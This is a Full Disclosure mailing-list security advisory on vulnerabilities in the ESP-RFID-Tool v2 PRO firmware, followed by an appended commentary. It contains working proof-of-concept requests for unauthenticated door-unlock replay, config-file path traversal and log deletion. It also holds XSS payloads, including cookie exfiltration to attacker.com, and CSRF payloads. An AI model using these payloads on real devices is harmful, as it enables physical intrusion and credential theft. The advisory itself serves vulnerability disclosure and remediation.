Skip to content
Chimera readability score 81 out of 100, Specialist reading level.

Full Disclosure mailing list archives

ESP-RFID-Tool v2 PRO — Full Public Disclosure

From: Milan Berger via Fulldisclosure <fulldisclosure () seclists org>

Date: Tue, 28 Apr 2026 20:08:50 +0200

Security Advisory: ESP-RFID-Tool v2 PRO Product: ESP-RFID-Tool v2 PRO Vendor: Raik Schneider (Einstein2150), foto-video-it.de Repository: https://github.com/Einstein2150/ESP-RFID-Tool-v2 Affected Version: v2.2.1 (latest as of 2026-04-28) Severity: CRITICAL Disclosure Type: Full Public Disclosure Disclosure Date: 2026-04-28 Researcher: Milan 't4c' Berger --- ## Disclosure Timeline | Date | Event | |------|-------| | 2026-04-26 | Vulnerabilities discovered during code review | | 2026-04-27 | Researcher posted responsible disclosure comment on his advertisement on Youtube (GitHub issues disabled by vendor) | | 2026-04-28 | Vendor deleted the disclosure comment without response | | 2026-04-28 | Researcher posted responsible disclosure comment again on his advertisement on Youtube (GitHub issues disabled by vendor) | | 2026-04-28 | Vendor deleted the disclosure comment without response | | 2026-04-28 | Researcher attempted contact via additional social media channels | | 2026-04-28 | Vendor blocked researcher on all contacted channels; no acknowledgment given | | 2026-04-28 | Full public disclosure — 48h contact window exhausted, vendor uncooperative | --- ## Summary The ESP-RFID-Tool v2 PRO is a commercial hardware/firmware product sold by Raik Schneider targeting security researchers and red team operators. It is based on an ESP8266 microcontroller and provides a web interface for logging, replaying, and analyzing Wiegand RFID data from physical access control systems. Multiple critical security vulnerabilities were identified in firmware v2.2.1. The most severe findings allow any unauthenticated attacker with network access to: replay captured RFID credentials against physical door locks, read the complete device configuration including plaintext passwords, and permanently destroy all captured evidence — all without authentication. Note: A full practical verification of all exploits involving physical signal transmission could not be performed as no Wiegand access terminal was available during testing. The vendor was notified through all available channels. All notifications were deleted, and the researcher was blocked. Full disclosure follows. --- ## Vulnerability Summary | ID | Severity | Title | |----|----------|-------| | ESPR-01 | CRITICAL | Unauthenticated Wiegand TX — Physical Access Control Bypass | | ESPR-02 | MEDIUM | Log Deletion via Default Credentials (Auth present, but trivially bypassed) | | ESPR-03 | CRITICAL | Path Traversal — Arbitrary SPIFFS File Read | | ESPR-04 | HIGH | Reflected Cross-Site Scripting (XSS) | | ESPR-05 | HIGH | Stored XSS via Log Injection | | ESPR-06 | HIGH | Hardcoded Default Credentials | | ESPR-07 | HIGH | Unauthenticated Log View + Filesystem Enumeration | | ESPR-08 | MEDIUM | No CSRF Protection — Entire Application | | ESPR-09 | MEDIUM | Plaintext FTP Server | | ESPR-10 | MEDIUM | Missing Security Response Headers | | ESPR-11 | MEDIUM | No Input Validation on Integer Parameters | | ESPR-12 | LOW | Predictable AP SSID — Device Fingerprinting | | ESPR-13 | INFO | Captive Portal Mode Widens Attack Surface | --- ## Detailed Findings --- ### ESPR-01 — Unauthenticated Wiegand TX: Physical Access Control Bypass Severity: CRITICAL File: `api_server.cpp` Endpoints: `/api/tx/bin`, `/api/txinstant/bin`, `/api/wiegandencode` Description: All Wiegand transmission API endpoints execute hardware TX operations without any authentication check. Any attacker on the same network can replay arbitrary Wiegand bitstreams to downstream access control hardware — unlocking physical doors, gates, or secured areas — with a single unauthenticated HTTP GET request. Vulnerable Code: ```cpp server.on("/api/tx/bin", []() { // ... // No server.authenticate() call apiTX(api_binary, api_pulsewidth, api_datainterval, api_wait); }); ``` Proof of Concept: ```bash # Replay a captured 26-bit HID card to open a door curl " http://192.168.1.1/api/tx/bin?binary=01001100110101010110101001&pulsewidth=40&interval=2000 " # Re-encode a known UID and transmit curl "http://192.168.1.1/api/wiegandencode?uid=DEADBEEF&format=26" # Instant transmission (no response wait) curl "http://192.168.1.1/api/txinstant/bin?binary=01001100110101010110101001 " ``` Impact: Physical security bypass. An attacker who previously captured a card UID (e.g. via ESPR-07) can immediately replay it to open the corresponding door — all from an unauthenticated HTTP request. This completely undermines the device's operational security model. --- ### ESPR-02 — Log Deletion via Default Credentials Severity: MEDIUM File: `esprfidtool.ino` Endpoints: `/deletelog`, `/deletelog/yes` Description: `/deletelog/yes` requires HTTP Basic Authentication. However, the default credentials (`admin:rfidtool`) are hardcoded and publicly known via the open-source repository. Combined with ESPR-06, any attacker with knowledge of the default credentials can permanently delete all captured RFID logs. `/deletelog` (the confirmation page) has no authentication, which also makes it a direct XSS vector (see ESPR-04). Note: Live testing confirmed `/deletelog/yes` returns HTTP 401 without credentials. This finding was initially rated CRITICAL based on static code analysis of an earlier version; auth is present in the tested build. Vulnerable Code: ```cpp server.on("/deletelog/yes", [](){ if(!server.authenticate(update_username, update_password)) return server.requestAuthentication(); // Auth present — but default credentials are public (admin:rfidtool) SPIFFS.remove(deletelog); }); ``` Proof of Concept: ```bash # Delete log using publicly known default credentials curl -u admin:rfidtool "http://192.168.1.1/deletelog/yes?payload=/log.txt" ``` Impact: Any attacker who knows the default credentials (publicly available) can permanently destroy all captured evidence. Severity is driven by ESPR-06 (hardcoded defaults) — fixing one without the other provides no real protection. --- ### ESPR-03 — Path Traversal: Arbitrary SPIFFS File Read Severity: CRITICAL File: `esprfidtool.ino` — `ViewLog()` Description: The `payload` parameter is passed directly to `SPIFFS.open()` without any path validation or sanitization. An unauthenticated attacker can read any file stored in the device's SPIFFS filesystem, including configuration files containing plaintext credentials. Vulnerable Code: ```cpp void ViewLog(){ String payload; payload += server.arg(0); // raw URL arg, no sanitization File f = SPIFFS.open(payload, "r"); // outputs file content directly to browser } ``` Proof of Concept: ```bash # Note: server.arg(0) reads the FIRST URL argument by position, not by name. # The correct syntax is ?<filename>, not ?payload=<filename> # Read device configuration (contains credentials in plaintext) curl "http://192.168.1.1/viewlog?/esprfidtool.json" # Read log files (enumerate first via /api/listlogs) curl "http://192.168.1.1/viewlog?/log.txt" # List all available filenames first curl "http://192.168.1.1/api/listlogs" ``` Note: The endpoint only returns content if the file exists on SPIFFS. The config file `/esprfidtool.json` is filtered from `ListLogs()` output but is NOT filtered in `ViewLog()`, making it directly readable via this endpoint. Example Response: ```json { "ssid": "HomeNetwork", "password": "mysecretwifi", "update_username": "admin", "update_password": "rfidtool", "ftp_username": "ftp-admin", "ftp_password": "rfidtool" } ``` Impact: Full information disclosure. WiFi credentials, admin passwords, FTP credentials, and all captured RFID card data (UIDs, bitstreams) are exposed to any unauthenticated attacker. --- ### ESPR-04 — Reflected Cross-Site Scripting (XSS) Severity: HIGH File: `esprfidtool.ino` — `DeleteLog()` Endpoint: `GET /deletelog` Description: The `payload` URL parameter is reflected directly into the HTML response body without sanitization or HTML encoding. An attacker can inject arbitrary JavaScript that executes in the victim's browser. Vulnerable Code: ```cpp // server.arg("payload") embedded directly into HTML — no htmlEncode() server.send(200, "text/html", "... Deleting: " + payload + " ..."); ``` Proof of Concept: ``` # Basic alert PoC http://192.168.1.1/deletelog?payload=<script>alert('Sag Danke')</script> # Cookie exfiltration http://192.168.1.1/deletelog?payload=<script>document.location=' http://attacker.com/?c='+document.cookie <http://attacker.com/?c=%27+document.cookie></script> # Credential phishing overlay (effective in captive portal context) http://192.168.1.1/deletelog?payload=<script>document.body.innerHTML='<form action="http://attacker.com/steal";><input name="u" placeholder="Username"><input name="p" type="password" placeholder="Password"><input type="submit"></form>'</script> ``` Impact: Session hijacking, credential theft, UI redressing. Severity is elevated because the device operates as a captive portal — victims auto-connect and are served the attacker-controlled page. --- ### ESPR-05 — Stored XSS via Log Injection Severity: HIGH File: `esprfidtool.ino` (log write path) Description: Log entries are written to SPIFFS containing raw data including HTML markup. When logs are rendered via `ViewLog()` or `ListLogs()` without output encoding, an attacker who can inject HTML/JavaScript into a log entry achieves persistent stored XSS. This can be triggered by sending a crafted Wiegand signal or via the unauthenticated TX API. Proof of Concept: ```bash # Inject XSS payload via unauthenticated TX endpoint # Craft a bitstream that results in a log entry containing script tags # The exact binary depends on how the logging function serializes data, # but the vector is confirmed by the absence of HTML encoding on log output. # After injection, any admin viewing logs triggers the payload: curl "http://192.168.1.1/viewlog?payload=/log.txt" # -> <script>...</script> executes in admin browser ``` Impact: Persistent XSS. Any administrator viewing the log file executes attacker-controlled JavaScript. Can be used to steal credentials or pivot to further attacks. --- ### ESPR-06 — Hardcoded Default Credentials Severity: HIGH File: `esprfidtool.ino` — `loadDefaults()` Description: Default credentials are hardcoded and publicly known via the open-source repository. No forced credential change on first boot. | Service | Username | Password | |---------|----------|----------| | Web Interface / OTA Update | `admin` | `rfidtool` | | FTP Server | `ftp-admin` | `rfidtool` | | WiFi AP SSID | `ESP-RFID-Tool` | (none by default) | Proof of Concept: ```bash # Authenticated firmware update with known default credentials curl -u admin:rfidtool "http://192.168.1.1:1337/update" -F "image=@malicious.bin" # FTP login ftp 192.168.1.1 # Login: ftp-admin / rfidtool ``` Impact: Trivial full authentication bypass for all credential-protected endpoints. Anyone familiar with the product has immediate access. --- ### ESPR-07 — Unauthenticated Log View + Filesystem Enumeration Severity: HIGH File: `esprfidtool.ino` Endpoints: `/viewlog`, `/listlogs`, `/api/listlogs`, `/api/info`, `/api/lastread` Description: All log viewing and filesystem enumeration endpoints require no authentication. The `/api/lastread` endpoint additionally exposes the last captured card in real time. Proof of Concept: ```bash # Enumerate all files on device curl "http://192.168.1.1/api/listlogs" # Read captured card data curl "http://192.168.1.1/api/lastread" # Response: {"bits":26,"bitstream":"01001100...","uid":"0A1B2C3D","format":"HID26"} # Get device info (firmware version, free space) curl "http://192.168.1.1/api/info" ``` Impact: Complete exfiltration of all captured RFID card data without any authentication. --- ### ESPR-08 — No CSRF Protection Severity: MEDIUM Scope: All endpoints Description: No CSRF tokens exist. No `SameSite` cookie attributes. No `Origin`/`Referer` validation. An attacker who can get an operator to visit a malicious webpage triggers arbitrary device actions. Proof of Concept: ```html <!-- Malicious webpage — operator visits while connected to device AP --> <!-- Silently deletes all logs --> <img src="http://192.168.1.1/deletelog/yes?payload=/log.txt" style="display:none"> <!-- Opens a door via CSRF + unauthenticated TX (ESPR-01) --> <img src=" http://192.168.1.1/api/tx/bin?binary=01001100110101010110101001&pulsewidth=40&interval=2000" style="display:none"> ``` --- ### ESPR-09 — Plaintext FTP Server Severity: MEDIUM FTP credentials and all transferred log data (card UIDs, bitstreams) are transmitted in cleartext. Trivially intercepted on shared WiFi networks. --- ### ESPR-10 — Missing Security Response Headers Severity: MEDIUM No HTTP responses include: - `Content-Security-Policy` — allows unrestricted script execution (amplifies XSS) - `X-Frame-Options` — clickjacking via iframe - `X-Content-Type-Options` - `Cache-Control` on sensitive endpoints --- ### ESPR-11 — No Input Validation on Integer Parameters Severity: MEDIUM File: `api_server.cpp` ```cpp api_pulsewidth = server.arg("pulsewidth").toInt(); // no bounds check api_datainterval = server.arg("interval").toInt(); // no bounds check api_wait = server.arg("wait").toInt(); // no bounds check ``` `toInt()` returns 0 on invalid input. Negative values or extreme integers passed to `apiTX()` may cause undefined hardware behavior or firmware crashes. --- ### ESPR-12 — Predictable AP SSID Severity: LOW Default SSID `ESP-RFID-Tool` allows passive wardriving to identify and target deployed units. A trivial scanner can auto-enumerate all deployed devices in range. --- ### ESPR-13 — Captive Portal as Attack Force-Multiplier Severity: INFO The device runs a DNS server resolving all domains to itself. Victims auto-connecting to the AP have all their HTTP traffic redirected to the device. Combined with XSS findings (ESPR-04, ESPR-05), this enables large-scale credential phishing against unknowing users. --- ## Recommendations 1. Add `server.authenticate()` to all endpoints, not only `/settings` 2. HTML-encode all URL parameters before inserting into HTML responses 3. Restrict `SPIFFS.open()` to a whitelist of allowed log filenames 4. Implement CSRF token validation for all state-changing requests 5. Force credential change on first boot 6. Add `Content-Security-Policy` and other security headers to all responses 7. Validate and bound-check all integer parameters 8. Consider disabling FTP by default; document security implications clearly --- ## Researcher Discovered and reported by: Milan 't4c' Berger Disclosure policy: Responsible disclosure attempted. Vendor deleted all notifications and blocked researcher on all channels within 48 hours. Full public disclosure follows as per standard responsible disclosure practice. --- This advisory is published in the public interest. The ESP-RFID-Tool v2 PRO is a commercial product sold for security research and red team use. Customers of this product should be aware that the device itself contains critical security vulnerabilities and may be compromised by any party with network access. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread:

  • ESP-RFID-Tool v2 PRO — Full Public Disclosure Milan Berger via Fulldisclosure (Apr 29)

Facts Only

The ESP-RFID-Tool v2 PRO is a commercial product sold by Raik Schneider, targeting security researchers and red team operators.
The product is based on an ESP8266 microcontroller and provides a web interface for RFID data analysis.
Multiple critical vulnerabilities were discovered in firmware version 2.2.1 by researcher Milan Berger.
Vulnerabilities include unauthenticated Wiegand transmission, path traversal, XSS, and hardcoded credentials.
The vendor was notified on April 26, 2026, via YouTube comments after GitHub issues were disabled.
The vendor deleted disclosure comments and blocked the researcher on all contacted channels.
Full public disclosure occurred on April 28, 2026, after a 48-hour contact window expired.
The most severe vulnerability allows unauthenticated attackers to replay RFID credentials to unlock physical doors.
Default credentials (admin:rfidtool) are hardcoded and publicly known, enabling trivial authentication bypasses.
The device's captive portal mode amplifies attack surfaces, redirecting all HTTP traffic to the device.
No CSRF protection, security headers, or input validation are present in the firmware.
The disclosure includes proof-of-concept exploits for all identified vulnerabilities.

Executive Summary

The ESP-RFID-Tool v2 PRO, a commercial hardware/firmware product designed for security researchers and red team operators, has been found to contain multiple critical security vulnerabilities. Discovered by researcher Milan Berger, these flaws include unauthenticated Wiegand transmission capabilities, allowing attackers to bypass physical access controls, and path traversal vulnerabilities enabling arbitrary file reads from the device's filesystem. Additional issues include hardcoded default credentials, cross-site scripting (XSS) vulnerabilities, and lack of authentication on sensitive endpoints. The vendor, Raik Schneider, was notified but deleted disclosure comments and blocked the researcher, leading to a full public disclosure after a 48-hour window. The vulnerabilities undermine the device's security model, exposing captured RFID data, credentials, and allowing physical security bypasses.
The disclosure timeline highlights the vendor's uncooperative response, with repeated deletion of responsible disclosure attempts and blocking of communication channels. The vulnerabilities span authentication bypasses, information disclosure, and persistent attack vectors, with some exploits requiring no authentication. The device's use in security research and red teaming makes these findings particularly concerning, as compromised devices could be used to gain unauthorized physical access or exfiltrate sensitive data. The researcher's full disclosure aims to inform users of the risks associated with the product, emphasizing the need for immediate mitigation or discontinuation of use until patches are available.

Full Take

This disclosure reveals a troubling pattern in the security product ecosystem: tools designed to test or enhance security are themselves critically vulnerable. The vendor's response—deleting notifications and blocking communication—suggests a lack of accountability, a recurring issue in the commercial security toolspace. The vulnerabilities, particularly the unauthenticated Wiegand transmission, expose a fundamental flaw in the product's design, where convenience (e.g., no authentication for API endpoints) directly undermines security. This mirrors broader industry trends where "security by obscurity" or neglect of basic hardening measures persists, even in tools marketed to professionals.
The captive portal feature, intended for ease of use, becomes a force multiplier for attacks, redirecting all traffic to a compromised device. This design choice reflects a common trade-off between usability and security, often resolved in favor of the former. The hardcoded credentials and lack of forced password changes highlight a systemic issue: many IoT and embedded devices prioritize out-of-the-box functionality over security hygiene. The researcher's inability to verify physical signal transmission due to lack of equipment also underscores a gap in vulnerability research—physical security testing often requires specialized, costly setups.
**Patterns detected: ARC-0024 Ambiguity (vendor's evasive response), ARC-0043 Motte-and-Bailey (product marketed as secure but lacks basic protections)**
**Root cause:** The paradigm of "security tools as consumer electronics" drives this narrative. Vendors assume users will secure the device themselves, ignoring that even experts may overlook basic hardening in operational contexts. The lack of vendor response suggests a business model prioritizing sales over support, a common issue in niche commercial tools.
**Implications:** Users of this product—security professionals—may unknowingly deploy a device that compromises the very systems they aim to protect. The second-order effect is erosion of trust in commercial security tools, pushing researchers toward open-source alternatives with transparent auditing.
**Bridge questions:**
How should the security community balance the need for accessible tools with the risks of poorly secured commercial products?
What mechanisms could incentivize vendors to prioritize vulnerability response over reputation management?
If physical security tools are this vulnerable, what does that imply about the broader state of IoT security in critical infrastructure?
**Counterstrike scan:** A coordinated influence campaign would likely exploit the vendor's evasion to discredit security research or frame the disclosure as irresponsible. However, the researcher's documented attempts at responsible disclosure and the technical depth of the findings align with standard practice, not manipulation. The content does not match an attack playbook; it reflects genuine security research.